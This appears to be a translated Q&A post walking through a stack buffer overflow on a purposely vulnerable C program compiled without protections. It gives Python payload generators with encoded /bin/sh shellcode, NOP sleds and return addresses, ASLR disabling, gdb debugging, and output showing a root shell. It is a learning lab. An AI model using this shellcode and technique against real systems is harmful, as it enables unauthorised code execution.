如何执行简单的 buffer_overflow 攻击?

How to perform a simple buffer_overflow attack?

我已经尝试过数千次这样的攻击,但都失败并以同样的问题结束。

我已经发布了我的 bufferoverflow.c 程序的代码。我用 gcc 和 -fno-stack-protector 标志和 -z execstack.

编译了它

我在gdb的帮助下调试了这个程序,发现它需要424个字符才能产生段错误[缓冲区溢出]。我还提供了我的 hack.py 的代码,我将其输出存储在一个名为 fuzzing 的文件中。完成所有操作后,每次我遇到这个终点时,当我测试我的程序并用 fuzzing 喂它时,它仍然崩溃并且不给我一个 shell!

int vuln() {
    // Define variables
    char arr[400];
    int return_status;
    // Grab user input
    printf("What's your name?\n");
    return_status = read(0, arr, 800);
    // Print user input
    printf("Hey %s", arr);
    // Return success
    return 0;
}
int main(int argc, char *argv[]) {
    // Call vulnerable function
    vuln();
    // Return success
    return 0;
}

以上代码为bufferoverflow.c.

# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf3\xb2\xb6\x93\x1e\x9d\x9c"
buf += "\x79\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x99\x9b\xee\x0a\x74\x9f\xc3\x13\xf2\xec\xb9\x96\x56"
buf += "\x0a\xd4\xc0\xf1\xb2\xa7\xcf\xde\x35\xb7\x4f\xa2\xfa"
buf += "\x3f\x75\x74\x8d\xc6\x13\xd9\xea\xb9\x96\x74\x9e\xc2"
buf += "\x31\x0c\x7c\xdc\xb2\x46\x92\x99\x0c\x05\xd8\x8d\xcb"
buf += "\x87\xd5\x27\x56\x91\xdb\xd8\xbc\x6d\xf5\x9c\x2a\xbb"
buf += "\x3b\x51\xc1\x49\xd5\x15\x9f\xfc\xb7\xb6\x93\x1e\x9d"
buf += "\x9c\x79"
## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
print nop_slide + buf +  padding + return_address

以上代码属于 hack.py,其输出存储在 fuzzing 中,并作为程序的输入文件。

我希望我的程序在 msfconsole 中给我一个 shell 但它实际上在一个点停止并显示以下错误:

root@kali:~/Buffer Overflow# ./bufferoverflow < fuzzing 
What's your name?
Hey ����������������������������������������������������������������������������������������������������H1�H������H�����H���yH1X'H-���������
t���칖V
Segmentation fault
root@kali:~/Buffer Overflow#

好的,我解决了我的问题!很简单。

假设我有以下代码:-

#include <stdio.h>

void vuln() {
    char string[1024];
    gets(string);
    printf("%s\n", string);
}

int main() {
    vuln();
}

我将它保存在一个名为 script.c 的文件中并使用 :-

编译它
gcc -z execstack script.c -o script.elf

在继续之前,我将禁用 ASLR,这样它就不会搞砸内存地址:-

echo 0 > /proc/sys/kernal/randomize_va_space

现在和往常一样,我使用GDB调试程序,发现缓冲区位于rbp-0x400,并在gets函数后设置断点。当我启动程序并给它输入很多 A 时,我检查了缓冲区,发现我可以覆盖 RIP 并使其指向接近缓冲区开头的地址,以便控制跳转到 NOP -雪橇,然后向下滑动到 shell 代码。这是在 GDB 中检查缓冲区的输出。

(gdb) x/64x $rbp-0x400
0x7fffffffdc60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdca0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcb0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

所以我决定让 RIP 指向 0x7fffffffdc70 然后我在 payload.py:-

import sys
import struct

offset  =   1032
RET =   struct.pack("Q", 0x7fffffffdc70)

buf  = b""
buf += b"\x90" * 256
buf += b"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x66\xc0\xf5\xcb\x71\x99\xa8"
buf += b"\x4c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x0c\xfb\xad\x52\x39\x22\x87\x2e\x0f\xae\xda\xb8\x19"
buf += b"\x99\xfb\x04\xef\x27\x9d\xe6\x12\x99\xa8\x04\xef\x26"
buf += b"\xa7\x23\x7b\x99\xa8\x4c\x49\xa2\x9c\xa5\x5e\xfb\xc9"
buf += b"\x3f\x0e\xc0\xa3\x9c\x39\x10\x4e\x43\x63\xc0\xf5\xcb"
buf += b"\x71\x99\xa8\x4c"
buf += b"\x41" * (offset - len(buf))
buf += RET

sys.stdout.buffer.write(buf)

NOTE : The above shellcode spawns the /bin/sh shell.

现在我将此 python 脚本的输出存储在名为 exploit.txt 的文件中 并通过 exploit.txt :-

将输入提供给 GDB 中的程序
root@linux:~/Desktop/Buffer Overflow# python3 payload.py > exploit.txt 
root@linux:~/Desktop/Buffer Overflow# gdb ./script.elf -q
Reading symbols from ./script.elf...
(No debugging symbols found in ./script.elf)
(gdb) r < exploit.txt 
Starting program: /root/Desktop/Buffer Overflow/script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
process 136690 is executing new program: /usr/bin/dash
[Detaching after fork from child process 136694]
[Inferior 1 (process 136690) exited normally]
(gdb) 

等等什么??我们执行了 /bin/sh 而不是 /bin/dash。好吧,这看起来不正确,但实际上是真的,因为 /bin/sh 实际上指向 /bin/dash :-

root@linux:~/Desktop/Buffer Overflow# ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Nov 29  2019 /bin/sh -> dash

但无论如何,这在 GDB 中不起作用!我在 GDB 之外尝试了这个,我得到了这些结果:-

root@linux:~/Desktop/Buffer Overflow# ./script.elf < exploit.txt 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
Illegal instruction
root@linux:~/Desktop/Buffer Overflow# 

等等,这很奇怪!我们应该得到一个 shell 的权利,至少在 GDB 中我们能够执行我们的 shell 代码,但在它之外我们得到一个 'Illegal Instruction'。哦,天哪,我花了很多时间寻找答案,终于想通了。 原因是,虽然禁用了 ASLR,所以地址没有改变,但 ENVIRONMENT VARIABLES 是罪魁祸首。 所以环境变量在 GDB 和实际终端中发生了变化。我们无法摆脱它们,那么我们如何才能在运行时确定缓冲区的正确起始地址。

我所做的是在一个终端中执行程序:-

root@linux:~/Desktop/Buffer Overflow# ./script.elf 


现在正在等待输入,所以我快速打开另一个终端并使用以下命令:-

root@linux:~# gdb --pid $(pidof ./script.elf) -q 
Attaching to process 136928
Reading symbols from /root/Desktop/Buffer Overflow/script.elf...
(No debugging symbols found in /root/Desktop/Buffer Overflow/script.elf)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/40/f80fd23b36ba3a7e20f63d615dc1aca83f4262.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/8a/980b57d17a1e050e7646f9604e8a96824d3691.debug...
0x00007ffff7ecf59e in __GI___libc_read (fd=0, buf=0x5555555592a0, nbytes=1024)
    at ../sysdeps/unix/sysv/linux/read.c:26
26  ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) 

所以我将 GDB 附加到 运行ning 程序,然后我在 gets 函数之后设置了一个断点,然后在前一个终端中输入了一些 A [其中 script.elf 是 运行ning ],按回车键后,我切换回 GDB 终端并输入 'c' 。就这样继续下去,终于到了断点。这次我可以准确地分析缓冲区了:-

(gdb) x/64x $rbp-0x400
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdda0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffddb0: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

所以现在我将选择地址 0x7fffffffdcd0 作为 RIP 必须指向的位置。我修改了payload.py并保存了!然后我将它的输出用作 script.elf 的输入,我得到了这个 :-

root@linux:~/Desktop/Buffer Overflow# python3 payload.py | ./script.elf 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
root@linux:~/Desktop/Buffer Overflow# 

哇!!执行了 Shellcode 但我们没有得到 shell。看起来很混乱。实际上 shell 代码完美执行并等待输入 & 因为我们给程序的唯一输入是 payload.py[= 的输出85=]。所以如果我们只使用 :-

python3 payload.py && cat

我们可以通过 stdin 提供输入,它可以通过 stdout 回显。看起来不错,我们执行 shell 代码,程序要求输入,我们给它输入,它读取,在 /bin/sh shell 上执行它,并给出输出。太好了,那么我们怎样才能让它工作呢?很简单,我们将使用上述命令的组合输入到 script.elf 像这样:-

(python3 payload.py && cat) | ./script.elf

我们得到这样的输出:-

root@linux:~/Desktop/Buffer Overflow# (python3 payload.py && cat) | ./script.elf 

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
ls
exploit.txt  payload.py  script.c  script.elf
pwd
/root/Desktop/Buffer Overflow
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

哇!固定它!那很简单。

NOTE : The 'ls', 'pwd', 'whoami' & 'id' are entered by me during run-time

所以这个漏洞现在可以完美运行了!!